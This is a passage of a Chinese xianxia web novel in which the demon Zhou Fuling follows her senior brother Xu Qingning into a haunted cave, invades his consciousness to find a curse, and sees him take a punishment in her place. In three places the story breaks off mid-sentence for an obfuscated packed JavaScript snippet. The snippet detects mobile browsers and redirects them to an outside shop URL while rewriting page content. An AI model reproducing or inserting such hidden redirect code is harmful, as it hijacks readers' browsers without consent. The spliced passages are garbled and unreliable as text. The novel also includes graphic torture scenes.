“别说了,好好的坎级妖地,因巨鬼出没,升为了坤级,须少掌门亲自去康荒斋治灾了……” …… 注意看,这个女人的名字叫小美,不,小菱。 周拂菱下了冰鉴峰,走出阳关道,她的腰间系满各式符咒,在荒林乱径中,正坐着马车往康荒村里去。 冰鉴峰的人,随须清宁去治灾走了不少,她也有令牌,因此来往方便。 周拂菱时间不多了。她必须找到须清宁。 而越靠近那康荒斋,越是人迹罕至,周拂菱按上了腰间的笛子。 据她所查,这康荒斋里有一只妖怪,名叫“燧火”,会放出“糜卵”。 此卵带毒,中毒之人,必须和人双修才能活。 周拂菱准备了一个名叫“引蠹烟”的法器,打算借此引出“燧火”,让自己中毒。 以她对须清宁的了解,这事可以成。 天边的云,忽然变幻,隐约化为四脸之象,周拂菱放下帷裳。 …… 妖地。康荒斋。 幽洞中,暗雾笼罩曲折纵横的甬道,远处传来妖鬼的嗥啸,须清宁正指挥众人穿过康荒斋。这是一座石窟。 而没人能看见他的本体,他化出四道分身重影,跟在东南西北的修士之侧。 东侧,修士们端符持剑,无不万分谨慎。 贺茵便是其中之一。 她是周拂菱的好友,也是先前那位帮助过周拂菱的女修,正拿着朱红的驱邪符,小心翼翼地画好。 却突听噗噗脆响,贺茵猛地抬头,浓稠雾气忽地钻出地缝,腥臭气息滚向群修。 竟是上百具尸体从石壁上坠下,红团团地连成一片,死状惨烈。 只见这些尸体皆是体无完肤,碎肉丝丝缕缕落下,像是被齿梳生生剐掉,骨头也如被踏碎一样,四肢瘫软,轻轻飘在空中。 一道声音,忽然贯入贺茵的脑海—— ——“小茵,快走!!” 远方,一个女子在地上爬,她的样子和这些尸体很像,皮肤被划得稀巴烂,骨头也被一打碎了,伏在地上喘气,动都动不了。 一个男子,却踩着女子的肩膀,长剑插入她的心脏,似有深仇大恨般,剑身搅动,女子的心脏被活生生地挑了出来,如垃圾般被丢在地上。 “娘,娘……”贺茵心口仿若在滴血,她仿若回到了幼年的噩梦,双目酸胀。 她紧咬牙关,一声大喝,拿剑朝那男子劈去。 ——“杀亲之人,无情贱义,当剥皮销魂,碎魂夺魄!!” 千重人声,满带憎意,却四面八方地穿雾而来。 雾气中,数只覆着干瘪人皮的手,带着腐臭之气,掀向贺茵的头盖骨。 妖气连绵,威压极甚,贺茵想要逃脱,却突觉身体被桎梏,动弹不得。 她绝望地等着那些手打上头顶。 贺茵的胳膊一紧,再被一拽,她清醒了。 她冷汗淋漓,模糊的视线逐渐清晰,是同门把她提起来。她中幻术了。 他们上方,是一道仙光清明的阵法,贺茵认出是须清宁的手笔,是须清宁拉出了自己。 她羞愧抿唇,却没看见须清宁,其他弟子围住了她。 “没事,没事吧?”一些同门道。 但除了冰鉴峰弟子,还有旁的执事与弟子,团团围住贺茵,冷冷道:“贺茵仙官,你怎么会中幻术?!” 不少人对她不满。 康荒斋,阴气闭,如今又成为坤级妖灾,是因为这里有一大鬼出世坐镇。 据查,其原身是一个凡族媒婆,喜好在康荒村里做媒。 不知为何,她似做媒做出了一桩仇怨,那家男女反目,便报复了她。 这媒婆生生受了梳洗之刑惨死。 这梳洗,可不是普通的女子对镜梳妆,而是一种酷刑,以利齿生生活剐人体,把人的肉一点点梳下来,直到肉枯骨露,让其痛苦身亡。 大概是认为自己死得冤,媒婆怨气极重,死后化为厉鬼,躲入这康荒斋。 凡初入者,媒婆都会以幻术蛊惑其杀亲。但凡心智不坚定杀亲之人,媒婆会“梳洗”此人。 若能坚持不出手,鬼婆则会停。所以弟子们以为,应该没人会中招! “贺茵,你说话啊!” 贺茵嘴唇颤抖,心还在发冷。 她垂头,掩住了眼底神色,没有说全实话,只道:“我父亲抛弃了我。” 一位弟子大声道: “那你不适合待在这里。” “生父就算抛弃你了,也是生父,你不能杀人。没有养恩,也有生恩。” “罢了,她是凡族来的。凡族之人一向力弱心懦,这洞中鬼婆就是凡族变的呢……” “你们可真聪慧。”一道寒冷的声音从上方忽然传来。 弟子正色,皆小心望向上方,是须清宁在传音。 其声幽寒,令人胆颤: “一人聪慧到因心魔中邪,拖累所有修士不自省; 另一人聪慧到自封魔经经师,大念处世邪经不自知。” “还有一人,更是奇思妙想,以己度人。怎么?要我们等你们都被吃了,再出发么?” “不知道的还以为你们刚启玄。“ “再如此行事。滚回去。” “……” 贺茵和争论者无不住嘴,脸烧得通红,一骨碌爬起来,老老实实跟着队伍往前走。 他们都不敢再往上看。 须少掌门,平日性子疏冷少话,难以接近。 但他若开口,全宗门弟子更怕。 他们宁愿他一直不开口。 只听一位须清宁派来的执官道:“诸位,我们今日来此,为的是救出凡民、净化妖毒。当慎小谨微、团结精诚,勿要再因个人意气,再生事端,不然,少掌门必会重罚!“ 弟子们不敢再造次。越往里走,雾气越发浓重。 “烟,烟……” 袅袅血烟,滚出乱石,伴着乱风之声,犹如击鼓。 却见血烟所过之地,地面被腐蚀,滋滋作响,可见肉腐出虫,石枯生蠹,再有长蛇巨鳄,爬出其中,凶扑怪吼,围向仙修。 “食阴雾?!” “这里怎么会有食阴雾?!” 食阴雾,是世间最可怖的妖地,天绝涧才有的凶兆,可吸食阴气,顷刻间杀死修者。 这惊变,让天霁门弟子们变色,回首乱走。 …… 石洞中。周拂菱站在高处,望着洞底的修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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须清宁收剑,地上忽地出现一道暗红的纹路,写着“镇寻”,四周还有蝙蝠的图腾。 他皱眉,正要一探究竟,鬼息爆发,撼天动地。 这震荡,让步道黄沙飞扬,须清宁蹙眉便要撤离,上方穹顶,又一道鬼相。那是一张巨大的鬼脸,发出啸声,邪气逼人,攻向他四周的修士。 须清宁身边的修士,可都是天霁门的佼佼者,三品起步,过了“抱一”大境,那都是在仙域可以傲视群雄的境界了。 但迎着这鬼气,那高重功法的修士们,竟似无从抵挡。 “少掌门!”昊澄吐血,倒在地上。 须清宁见状,抬手回护,这鬼气的确强得极不正常。 他颦锁,识海却一阵剧痛,他像是被什么咬了一口。 但须清宁却性子坚韧,立剑持符,生生为众人挡下了这冲击。 “少掌门!” 魔息散去,众人忙扶住他,药执送来药物。 “执”和“佐”,都为仙门官员,区别便是掌管门派外务或内务。 须清宁吞了稳息药,识海还是一阵疼痛,却辨别不出发生了什么。 他晃了晃头,识海却倏然传来滋滋声,随后是一道冰冷的声音: 【汝为吾之宿主,将救吾世,保护主角,救赎反派……】 须清宁猛地抬眸。 他环顾四周,发现只有他一人能听见。 5. 师兄 “少掌门,怎么了?” 须清宁蹙眉,想说一二,描述一番那诡谲声音,然而,话到嘴边,却说不出来,像是被什么上了禁制。 他警惕抬眸。 前方倏然一阵地动山摇,随着一阵怪响响起,那识海中的声音也陡然消失,像是被什么撕碎了。 须清宁沉眸,别无他法,稳住神息,让众人先撤。 * 怪烟迢递,暗沙奔流,周拂菱双目圆睁。 之间那引蠹烟爬入步道,石洞深处,传来了那可引发情毒的妖怪的嘶鸣。 但这烟根本不是她放的。 周拂菱急急朝前,却见一群红衣金扣的修士,提刀负剑,以雾掩形,似在着急忙慌地寻找什么。 宁家人。 周拂菱蹙眉。 她不喜欢云宁宗的人。 只见那群人里,其中一人,正是昨日在山门作怪的宁承松长老; 走在最前面的,却是一位女人,她姿容明媚,丹凤眼,月棱眉,昂首挺胸,身穿火红罗裙,好不英气耀眼。 周拂菱认识她,这是宁朝雪。 云宁宗掌门独女,也被称为“丹火仙子”。 周拂菱不喜欢宁朝雪,因为宁朝雪第一次见她时,便横着一对眼,无视她的问好,随后对着须清宁,倒是和颜悦色,发出了轻盈的笑: “清宁哥哥,你挑人侍奉,还是挑上得了台面的人好些,不当把无品之人放在身边……” 须清宁当时对宁朝雪寒声说: “哦。丹火仙子,我看此处最欠品学之人是你。” 这件事后,宁朝雪行事更为跋扈,但似是她父母拦着她,这几年不让她来天霁门,不然不知道还会出什么事。 此时,宁朝雪盛气凌人地走在前面,宁长老小心翼翼地在后面跟着,却盯着宁朝雪手里的烟皱眉,像是十分苦恼: “大小姐,宗主说了,我们是来寻找那一月前在康荒斋作乱之人的踪迹的……一定要查出是谁,也要带回证据。但是,您何必非要挑着那须清宁也在的时候来?还要放这‘引蠹烟’……” “我要放,自然是要逼他出来。”宁朝雪手叉腰,眉心火丹明盛,“清宁哥哥他敬酒不吃吃罚酒,就不要怪我用这样的手段。” 宁长老一副差点闭气的模样,手捂住胸口,暗暗揉了下,小声说:“但宗主交代的事,要我们查的东西,还是得查,若是不成……” “宁承松,你哪里来的那么多废话?!”宁朝雪回首,却猛地打断他,“你敢不敬我?!你再不跟上,助我去拿下须清宁,我回去便告诉爹娘,你和宁承珊暗中勾结!” “宁承珊”这个名字,像是有魔咒一样,宁承松长老脸色大变,一片晦色,苦笑道,“大小姐,您在开什么玩笑!” “我没开玩笑。别忘了,你是我的老师,你该先听我的。” 宁朝雪横冲直撞,像是不想再和宁承松废话,拿起那点燃的引蠹烟,便放出数张金符浮空,窜向条条步道,一看就是要去找须清宁的。 周拂菱皱眉。她和宁朝雪竟想了一样的法子。她总觉得宁朝雪会坏事。 而宁朝雪为二品之身,功法大多数时刻都可傲视天下,她的引蠹烟和金符,引得洞中一阵动荡。 “大小姐,您慢些,勿要破了此处的定妖象数!” 然而,宁朝雪霸道惯了,哪里会在意什么定妖不定妖?又不是派给她的宗门任务。 宁朝雪再放金符,忽听轰隆巨响。 只见巨石崩塌,血烟喷散,数道鬼念,倏在声声阵法相合声中,猛地冲向了宁朝雪! 宁朝雪睁眸。 那鬼念凶戾无穷,竟是要把她吞没,千钧一发之际,宁朝雪甩出长鞭,大喊:“你们,还不快跳下来!” 她竟是长鞭卷住宁承松身后的云宁宗弟子,以迅雷之速,将他们生生拖到她身下。 在众人的诧异中,宁承松的黯败眼色中,鬼念生生咬住弟子们,在惨叫声中,在弟子们散出的仙息,为宁朝雪将他们的血凝成逃脱之梯。 而一道阵法,倏又盖下,那被宁朝雪拖到脚下的弟子,像是被什么困住,拖到了黑暗中,宁朝雪竟是危急之际,将将爬出来。 宁承松也是这才回神,跑过去要扶住她,颤巍巍喊了声“大小姐”,宁朝雪的手臂、小腿却都留下了狰狞伤痕,她狠狠地把鞭子甩在地上,嘶吼道:“须清宁!你为何如此待我!” 周拂菱凝眉,抬眸。 刚刚的鬼念的确凶猛,但后来的阵法,是仙法。足以把人和鬼念分开,但又能把人困在一处幽空。 这阵法,怎么有点……眼熟? 周拂菱这才想起来,曾经,大概是一年前,她在须清宁的书房,□□法金书里,见过这个阵法。 那会儿,他们关系还没僵,她支颐问他:“师兄,这是做什么的?” 须清宁淡声道:“对付那些爱欺人诳人之辈的。” 当时,须清宁还非要她把《阵法精要》拿来,带她画。 “师兄,我不会修行。我不想学。”周拂菱其实会,但她和须清宁修得不是一道,精研无用。 须清宁不满地扣桌,冷冷蹙眉:“若是你有一天会了呢?” 周拂菱回了神。 她沉眸盯着宁朝雪,若是她这就出去和宁朝雪打上照面,能把须清宁逼出来么?他在这里下狠手暗算宁朝雪,是发生了什么? 毕竟,按照周拂菱对仙门局势的了解,天霁和云宁两个门派是有矛盾,但关系没有到要撕破脸下狠手的地步,特别是天霁对云宁。 周拂菱身旁的雾气渐渐散开。 是她消去了食阴雾。 她腰间挂着的金符光芒闪烁,这是足以抵挡三品攻击的护符,也可以为她平安进入康荒斋提供理由。 周拂菱朝前走了一步,她的手却突然被另一只冰冷的手箍住。 只闻一阵孤冷梅香,周拂菱抬眸,正对上须清宁的眼。 他凤眸生寒,脸色如纸,正瞪着她。 他一把拉走她。 * 身后,阵法造怪声,巨石震嗡颤,周拂菱被须清宁拉着,拽去了一个穴室。 只见须清宁一身雪衣,头悬幕篱,冷淡清雅,气寒如霜,把她丢到了一块石头上。 而后,他手握“长明”,剑气砭人肌骨,散向四周形成护界,才回首无声望她,紧抿薄唇。 须清宁的灵台尚清明,宁家的事没有做成……周拂菱却还在暗暗观察须清宁的状态。 她又往下望。 然而,须清宁的手指,却异常冰凉……那狰狞的旧伤,那暗处的灵气竟成浊势,是心散之状。 修道一途,心为神识之源,心散,便是神识受了伤。 怎么回事? 须清宁像是察觉到她的目光,转瞬负手。 而后,他目光却生寒,声音也极冷:“你当真厉害,周拂菱。” “……”周拂菱扭开头,双手抱在胸前,没说话。她知道这时不说话最好。 不过她垂下的眼眸,却生出几分倔强。 而她这样,像是让须清宁更生气了,他冷漠地注视着她,突然张开手,隔空捏了道诀,下了她腰间的护符。 周拂菱蹙眉。 此符青底金字,这是须清宁亡母留下的符咒,名为“护生符”。她救下他时,他刚刚恢复灵力,便报恩给了她此符。 周拂菱不满地说: “你这是要收回去吗?” 须清宁冷冷瞟她一眼。 周拂菱腰上旋即出现了新的青符,是新画好的“护生符”,符画更为精巧,但周拂菱捏上新符,试着扯了扯,却发现取不下来。 周拂菱再一看,好啊,这符上多了几笔!能对她定踪和布下禁制! 她脸色顿时不太好看,又尝试拉扯一番,随后对须清宁皱起眉头: “我扯不下来。” 须清宁:“是扯不下来。” “为什么?” “为了监视你,周拂菱。”他冷冷道。 “……”周拂菱猛地抬眸,须清宁却“嗖”地一声把长明剑入鞘,递到她面前,面色寒冷,是在令她牵着剑随他出去。 周拂菱一把推开剑:“师兄,你知道我最不喜欢被你全盘安排。你快把这符解开。我不喜欢被监视。” 须清宁也回首,默了默,才重复:“你不喜欢被我安排?” “是。” “所以,你的意思是,喜欢自己安排自己?” “是啊。”周拂菱手叉腰。 她是在算计须清宁和自己结侣。也因为一些不可逆的原因,她只能选择他。但不代表她要惯他这些臭毛病。 她昂首,和须清宁对视,须清宁的眼中却浮现一种带着淡讽的冷傲。 他经常有这种神态。 周拂菱不喜欢须清宁这种傲慢,每次看见,都有种让她想削去的冲动。 因此,她迎视着须清宁,没有避开他的目光。 哪怕,她知道他这眼神出现,是说不出什么好话了。 果然,须清宁冷笑了一声,眼中却无笑意:“所以,你自己安排自己的表现,就是以无品之身,闯入这坤级妖地。” 须清宁如今是从一品,又是一派少主,哪怕收敛神息,也气势迫人。 他靠近她,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13574740|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生寒,一词一顿道,“周、拂、菱,我看,你是想结侣——” “想到把脑子都丢了。” 周拂菱抿唇。 她知道须清宁的嘴一向很气人,从他们少时一面之缘时她就知道这一点。 他说话,不是刺人,就是在嘴硬,说点好话,大概率是为了形势压着性子骗人。 周拂菱死死瞪着须清宁。 须清宁说完,又垂眸,暗暗抿唇,似在思忖和懊恼什么。 他又把剑鞘横到她的身前,语气温和了些:“先走,出去再说。” 周拂菱却站起来,说:“我丢脑子?师兄,是你先不告而别,是你先突然冷落我。不过是我问了你一声是否结侣,你就对我避之不及,躲了整整十日!” “我之后,便是找你也找不到,找到也要隔人传话,上次凤车见了,你待我客气得如待外宗来的门客,说几句话就打发我。你对我如此不满,不如把我赶出冰鉴峰,断绝师兄妹关系,不是更好吗?” “你说什么?”须清宁却猛地抬眸,目光也生寒,“第一,我离开冰鉴峰,只有九日。” “第二,你我先前关系明明如此稳定,你倏然说出那般惊人话语,还不准我躲开思忖一二?!” 周拂菱生得柔美,此时听见须清宁这样的话语,杏眸盈上雾,竟是楚楚可怜。 须清宁望了她一眼,别开头,垂眸,没再看她,睫毛微动,“你当时的话,着实也不冷静。我希望通过分开,你能清醒一些。你不过是被宁朝雪之流刺激了。” “我也应该告诉过你……我对父亲和况允初发过誓,不结侣。” 周拂菱:“你说的是不和你继母况允初那样的凡族人结侣,不是不和仙族人结侣。但这种誓言本身就很不合理,无法解决任何问题。” “……”须清宁无声地瞪着她,双眸生寒光,眼尾却染上棠色。 周拂菱却用目光暗暗描摹须清宁的脸。 清冷俊绝,如玉树琼枝。 这时,她的目光好像成了画笔,她不止描摹他的轮廓,却还有他的情绪,他的想法,以及他带给她的感受。 而每次这么做,周拂菱都突然感觉,她仿佛和身边的一切脱离,化为泾渭分明的两个世界。 这是很空的感觉。 她经常有这经历,小时候就是,她经常这样描摹她的家人,揣度他们的话和想法,却感觉自己和他们脱了节。 那时,父母告诉她: “孩子,作为一个小姑娘,你人生最重要的事,有三件: 第一件,是获得力量,杀死所有反对你和你家人的人; 第二件事,爱你的家人,忠于家人; 第三件事,找到一个心仪的男子,和他相爱,组建家庭。” 他们也给她看了许多话本,赞颂那些拥有幸福快乐结局的故事。 如《墙头马上》《牛郎织女》《田螺姑娘》等等。 周拂菱印象里,那些话本里 ,讲述的都是女子和男子相爱后,付出一切,最后获得赞誉、赢得爱她的丈夫和听话的孩子,美满一生的故事。 因此,周拂菱尝试做过第三件事,对须清宁也尝试过,但每次她尝试,都会产生一种无比别扭的感觉。 因为,她面对一个长相、气质在她喜欢范畴的男子时,她想做的不是付出,而是会生出暴戾的控制欲,筑牢的冲动感。 对这么一个人,她只想筑成牢笼,把他困在里面。她却也无法生出太多真实的情感冲动,每次尝试,换得的只有几分茫然。 她喜欢站在牢笼外,默默地观察这个人。 周拂菱这时,心里又生出了那暴戾的控制冲动,汹涌难抑。 她却垂下眸。 她记得母亲也说过,在一切尘埃未定时,不要轻易展现恶意,要温柔,要顺从。 她也从那位母亲身上学到,要隐匿锋芒,韬光养晦,不要轻易对人致命一击,会暴露自己。 所以,周拂菱饶是产生了这种感觉,也低下头,做出了相反的反应,她哭了。 她低头,眼泪淌过脸。她本就生得清丽姣美,这会儿清泪落下,梨花带雨,显得十分委屈。 须清宁蓦地愣住了。 他像是不知所措,张了张唇。 手指张合,向她走近一步,却是不知说什么。 却忽见上方山石再次抖动。 轰隆—— 一声巨响,似是有什么在朝他们倾轧而来。 周拂菱还没动,须清宁却猛地抱住她,把她丢到背上。 “长明”剑出,以剑气化为护阵,稳固住她的身子,须清宁身法疾动,冷着脸带她朝康荒斋外突围。 6. 识海 周拂菱揽住须清宁,忽听四周金盘震动,再观上方,须清宁的神思四散凝形,是他以念画出了一道传送阵法。 周拂菱低头,却再次察觉不对劲,须清宁之念震颤,像是识海有伤,被什么限制了。 周拂菱心道:须清宁为什么会对付宁家?须清宁的虚弱,又从何而来?他看上去分明没什么异常。 周拂菱更想一探究竟,须清宁做事却也一向独断专行,瞄了眼周拂菱,也没打算听她意见,就要送剑传她出去。 妖气又暗聚。 周拂菱操纵的。 那妖气飞腾直转,顷数灌向须清宁的法阵。 须清宁忙收回手,抱稳周拂菱,捏诀施法,微蹙眉头,似是不知这妖气何处来,与妖气相抗。 此妖气,如钩如刺,却钻向须清宁散在四周的神念,意图乱他神息,乱他神魂。 周拂菱本想再施展引蠹烟,却见四下布道,竟全是那可以引出情毒的怪物尸体,不由心烦,这宁家人,果然坏事! 她继而紧攻须清宁,妖息神息相缠,妖息诡谲强攻,神息纯净顽抗。 须清宁是从一品,性子也一向倔强,周拂菱正觉棘手之际,“噗”地一声,须清宁吐出一口血。 周拂菱脸色苍白,语气焦急:“师兄,你怎么了?” 须清宁淡声道:“无妨。” 周拂菱也再次察觉到了不对劲。 她的妖息探入了须清宁的神识,但只有一瞬。 须清宁神识深处,刻有一道法印,金光灼人,笔势周正,正写着一个——“囚”字。 而她之所以皱眉,是因为那上面的气息,让她觉得异常熟悉。 来自一位亲人。 …… ——“为什么要变强呢?” “小菱,因为变强了,才有特权。”亲人用嘲讽的语气道,“没有的特权的人,活得很悲惨。他们活着,还不如死了。可惜,他们却不懂。” 那时,周拂菱在一片灯火中,坐在亭子里,和家人们看着窗外的雪。母亲为她盛汤,父亲送来了兔子灯。 姐姐拉着她,跑在雪里,远方,火树摇红,灯市如昼。 周拂菱的记忆有点模糊,很多事记不清了。 …… 周拂菱发愣之际,一道灵力,却突然把她的妖力逼散。 传送阵法已成,竟是须清宁一把抱住她,避开妖力,跳入了传送阵法。 再转眼,他们已至青山之中。 乔木参天,绿云飘渺。 周拂菱要扶住须清宁,须清宁摇头:“不必。” 然而,他头一歪,昏过去了。 周拂菱接住了他。 “这叫不必么?须清宁。” 她想了想,没有下山,而是找到了一间废弃的木屋。 木屋简陋,旧榻陈灰,周拂菱用了清洗符,把须清宁放在榻上,凝视他。 这会儿,他脸上的寒意才褪了些,面色苍白。 周拂菱垂头,低头看他。 二人的鼻子几乎相贴。 她打算入侵他的识海。 查清他所想。 也查清那古怪神符的来源。 她要查清楚一切。 …… 侵入识海的感觉,像极了踩入一片湖水。 冰冷的湖水包裹灵体,躯干,又把人拖向流云之中。 周拂菱进入须清宁识海时,正踏在一片湖之上,弥望无迹。 大地生烟,苍天落雨,却四下苍茫,寻不到路。 周拂菱记得这种茫然的感觉,但她并不喜欢。 曾经,她就这样茫然过,那时,她的家人不告而别,周拂菱独自生活了一百年,出不去洞窟。 她憎恶无聊,当她好不容易走出洞窟,望见一望无际的雪,除了变强和寻找家人不知道还能做什么,便见到了躺在血里的须清宁。 曾经,周拂菱见过须清宁,是那少时的一面之缘。 一百年前,比如今还意气风发的少年剑修,中暗算,被人锁住灵脉,丢入了她的巢穴里。 他的容貌引起了她的兴趣。 她那时没现真身,不过把他缠在蛇尾里。 他紧绷的腰肢如铁,展现他的紧张,他紧抿的嘴唇苍白,展现他的处境不妙。 她关了他整整两年。 用她的蛇鳞摩挲他的手指,用吸盘熟悉他的肌肤。 她常常反剪住他的双手,把他放到自己的巨目之前凝视,看他警惕紧张,却故作镇定地要跟她讲故事,费力地拖延时间。 后来,他逃走了。 周拂菱很愤怒。 她却因为家里出事,被拖住了整整一百年的脚。 那一百年,她陷入了从未有过茫然,甚至因为修习功法冒进,导致她现在一施展大功,识海便生出如刀割般的疼,难以抑制。 重新出来,见到须清宁,她认出了他。 他满身狼狈,经脉寸断,倒在雪里,脸被毁了,手也断了,眼睛也盈血,似什么都看不清。 周拂菱本想吸干他的血,然而,当她的手触到他的仙骨,破碎清润的灵力传入她的识海,那不知为何出现的疼痛缓解了。 须清宁却在这种状态下,昏沉之间,亦是一道剑气刺她,要鱼死网破。 周拂菱打晕了他。 所以,须清宁再次醒过来,周拂菱已化作小姑娘的模样,清丽娇美,温柔善良。 她捂住他的伤口,正在哭。 “你怎么了?” “怎么会伤成这样?” 她感受着他破碎的神息,如同清泉。 …… 迷瘴层层,周拂菱走在须清宁雾气朦胧的识海中,伸出手,烧开雾气,才看清了四周光景。 湖面之下,许多死去的飞鸟随着波浪漂浮,然而它们死状惨烈,无不是被剥皮削骨,剖心挖肠,让这冰湖化为血海。 湖面之上,却立着一片青冢。 周拂菱走近。 墓碑之上,写的是—— 须清宁家人的名字。 夏雁白。须清宁的母亲。 须乐阳。须清宁的伯父。 …… 最后,须乐旬,须清宁的父亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13574741|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这都是须清宁死去的家人。 而据周拂菱所知,这些人在某种意义上,都死得极惨,在仙门历史上可谓都骇人听闻。须清宁百岁时,须家除了他和叔叔须乐川,更是几乎全在妖灾被灭门,被生吃而死。 想远了。 周拂菱收回思绪,双目电转,她要找到须清宁的灵体。 识海的主人,在识海中,一定有自己的化身。 捉住灵体,她便能找到关于那怪相的线索。 云雾重重,须清宁的识海竟愈发的迷乱,愈发的难行。 周拂菱蹙眉颦锁,穿云踏雾,她破了机关,却遥见一只凤凰,睡在巨木之下。 翎羽亮如白昼,凤眸清如明月。 周拂菱靠近。 然而,这凤凰十分敏锐,凌厉抬眸,猛地察觉到有旁人识念入侵,一声清鸣,振翅离开。 周拂菱化出妖息追上。 妖息缠住凤凰,凤凰染火,四下引雷,蛇尾却猛地钻出湖面。 ——那是上百只蛇尾,如巨木林降世。 一片灰暗中,蛇尾缠住凤凰,周拂菱抓住了凤凰的喙。 她识得,这便是须清宁的灵体化身。 她把挣扎的凤凰按在怀里,一手配合蛇尾捏住两只翅膀,一手抓住喙,不许他乱动,便把自己的念钻入这灵体的神识。 神识一层层深入下去,周拂菱于其中,那如湖面的神念中,发现了一根刺。 这根刺埋得很深,但不过远观,便可察其流荡杀气。 再近一些,其金光四盛,表面竟布满锋利的倒刺,能刺伤靠近的一切。 周拂菱蹙眉。 她认得这种刺。 “神魂刺”。 这是一种针对识海之主的禁制和诅咒。 她却勘破了上面的禁制内容。 此神魂刺,竟咒的是和须清宁和结侣之人。 若须清宁和人结侣,他的道侣将会承碎骨剥魂之痛三天三夜后惨死。 但这上面,还将一人排除在外—— 宁朝雪。 只有和宁朝雪结侣,须清宁此神魂刺上的禁制无效。 ……周拂菱皱眉,盯着那“刺”上清晰的“囚”字,手倏然发凉。 宁家人设的禁制? 但为什么,这上面的力量,如此熟悉?她分明见过……来自家人。 周拂菱打算先行解开神魂刺,但她发现,这神魂刺布法之人道法极高,道符缜密,不是一时半会儿可以解开的。 她只知道还有一个方法,能够解决这件事。 她得找到设下这禁制的源头,逼源头亲自破除这“神魂刺”,须清宁识海里的神魂刺便会失效。 如果没猜错,是云宁宗那两位尊者。 周拂菱捧住了神魂刺,缓缓抬眸,她记住了这神魂刺上的印记。 …… 当夜,宿在康荒斋山外的木屋,须清宁发起烧来。 他半梦半醒间醒过来,眸光如蒙上一层寒雾,目光极冷。 他一把抓住周拂菱的手腕,问道:“这是在哪里?” 7. 受罚 周拂菱答道:“康荒山顶,找了家村民废弃的木屋,已远离了妖洞。” “……师兄?” 须清宁却低头,召出传讯玉牒。 他对外传讯。 “会有人来接应我们。介时,你和贺茵执官先走。” 周拂菱道:“好……师兄,你该吃药了。方才,我为你采了些药物,也从你芥子符里拿了些还神丹,你服下吧,缓一缓。” 周拂菱把药递到须清宁跟前,想喂他。 他却又别开头:“我自己来。” 然而,须清宁或许是被周拂菱先前的试探伤了神识,手竟发颤,一时没能拿稳药。 周拂菱抬手,但他垂眸,缓了缓,终是自己费力服下。 之后,须清宁淡声道:“再过十二日,便是万山宴,介时凡族七山的武修都要来仙域龙潭。介时,我会为你再介绍一位高位修者为师,来自毓苗山。你无法修仙道,随凡族修武也不错。” 周拂菱当即抬首,蹙眉:“师兄,我们明明之前讨论过,我不需要旁的师长。” “不。你到底该有一技之长,不然在世间无法立足。” “……你是在推开我么?” 须清宁却避而不答,不过冷冷看她一眼,又低头: “不,我是在认真和你相讨此事。介时万山宴,凡族也有不少才俊将至。你见多了,便知,你不是非我不可。” 他说话时,长睫垂下,浓密如鸦羽,凤眸冷漠,而说话的语气,却是不容置喙,分明早就做好了决定。 周拂菱抿唇。 她不喜被安排,心里生出一丝阴鸷,却压住了眼中阴翳。 她思索了会儿,道:“行。师兄,你先好生歇息,拜师之事,之后再说。但我也答应你,我往后绝不再缠你。” 她知道神魂刺的存在后,便不再那般着急和须清宁结侣,毕竟事情要一桩桩解决。 周拂菱从洞窟醒来后,也查到了家人的踪迹或许在仙域,此时,她想先去查云宁宗的事。因此答得很干脆。 须清宁又缓缓抬眸。 他目光如染寒华。 二人之间竟安静许久。 须清宁又侧身,一言不发,闭眼歇下。 而大概是因为有伤,他昏睡过去了。 周拂菱凝视他。 他睡着时,容色清俊,依旧覆霜。 …… 在一个时辰后,周拂菱和须清宁被天霁门赶来的人接应上了。 须清宁的亲信执官们都来了,周拂菱的佐官也赶来不少。 贺茵见到她时神色焦急,问她怎么敢一个人来这种危险的地方。 而一些执官,见周拂菱站在须清宁身边,再观须清宁难看脸色,便知道猜见大概是周拂菱自己追来找须清宁的,二人又发生了些许不快。 部分仙官盯着周拂菱,心里颇有微词,但须清宁在,也不便开腔。 须清宁沉默一会儿,脸色一直不好看,指尖因失血惨白如玉。 他又道: “周拂菱此举,当罚。” “无品之身,妄入妖地,扰乱治妖之序,按照《天霁律》,当罚二十鞭。” 贺茵大惊:“二十鞭?!少掌门,拂菱是无品之身,平时又是被护在冰鉴峰的,若是二十鞭打下来,拂菱大概会脱层皮,不知道养多少日才能好,这也罚得太重了!” 不少人都目光有点惊异地望向须清宁,特别是须清宁叔叔须乐川峰中的。 须清宁和他叔叔掌门须乐川关系亲厚,但并不代表须乐川的人都是须清宁的人,也要接受周拂菱。 不少人是对周拂菱今日所为有些意见。喜欢少掌门便是喜欢,但哪有无品之人随意闯入在治灾的封山找高阶修士的道理? 但她是无品之人,这二十鞭打下去…… 须清宁又道:“我是周拂菱师兄,又是亲教者,有引罪权。这二十鞭,我代她受。因我已过三品‘通神’,去惊雷塔受二十雷鞭。” 须清宁此话一出,所有人都脸色大变。 此界刑罚,分为三重。 第一重,针对最低的九至七品修士,也是“启玄”大境的修士,只罚“形”,即修士的□□。 第二重,针对六至四品的修士,即“守一”大境的修士,打“神”,即伤其神魂。 